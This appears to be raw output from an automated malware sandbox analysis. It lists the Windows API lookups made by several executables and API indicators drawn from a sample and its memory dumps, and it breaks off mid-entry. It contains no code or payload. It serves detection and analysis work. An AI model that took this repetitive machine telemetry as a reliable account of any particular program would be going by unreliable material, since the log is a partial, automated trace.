(UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter ImpersonateLoggedOnUser (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter ControlService (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter ChangeServiceConfig (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter ChangeServiceConfigA (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCreateKeyEx (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter RegSetValueEx (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00006544) "AppLaunch.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00006544) "2vl5433.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter GetTempPath2W (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006316) "2vl5433.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00006316) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004116) "AppLaunch.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00004116) "3YF75jT.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006300) "3YF75jT.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006300)34:T114e,Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02E40000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "PRINT,NS_ElevateCreateProcess::APIHook_CreateProcessA,318,[ApiName] Hook Entered" (Indicator: "CreateProcess"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.009D0000.00000004.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "PRINT,NS_ElevateCreateProcess::APIHook_CreateProcessA,318,[ApiName] Hook Entered" (Indicator: "CreateProcess"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "1507328571,2916,3136,,CreateProcessA,kernel32.dll,"00:17:24.250",RX=0,PX=0" (Indicator: "CreateProcess"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp")35:T8d4,Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp")36:T567,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "7jw3kC52.exe.1096256590") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp")37:Tc088,Found reference to API (Indicator: "CheckTokenMembership"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "HeapSetInformation"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "DecryptFileA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "SHBrowseForFolder"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "SHGetPathFromIDList"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetTokenInformation"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "RegDeleteValueA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "RegOpenKeyExA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "RegQueryInfoKeyA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "FreeSid"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "OpenProcessToken"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "RegSetValueExA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "RegCreateKeyExA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "LookupPrivilegeValueA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "RegQueryValueExA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "EqualSid"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "RegCloseKey"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetShortPathNameA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetModuleFileNameA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "FindFirstFileA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "FindNextFileA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "FindClose"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "LocalAlloc"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "lstrcmpA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "CompareStringA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetLastError"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetFileAttributesA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "DeleteFileA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GlobalAlloc"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GlobalFree"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "CloseHandle"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "WritePrivateProfileStringA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "IsDBCSLeadByte"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "SetFileAttributesA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetProcAddress"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GlobalLock"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "LocalFree"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "RemoveDirectoryA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "FreeLibrary"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "CreateDirectoryA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetPrivateProfileIntA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetPrivateProfileStringA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GlobalUnlock"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "ReadFile"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "SizeofResource"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "WriteFile"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetDriveTypeA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "LoadLibraryExA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "SetFileTime"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "SetFilePointer"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "FindResourceA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "CreateMutexA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetVolumeInformationA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetCurrentDirectoryA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "FreeResource"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetVersion"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "GetTempPathA"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "LocalFileTimeToFileTime"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API (Indicator: "CreateFileA"; File: 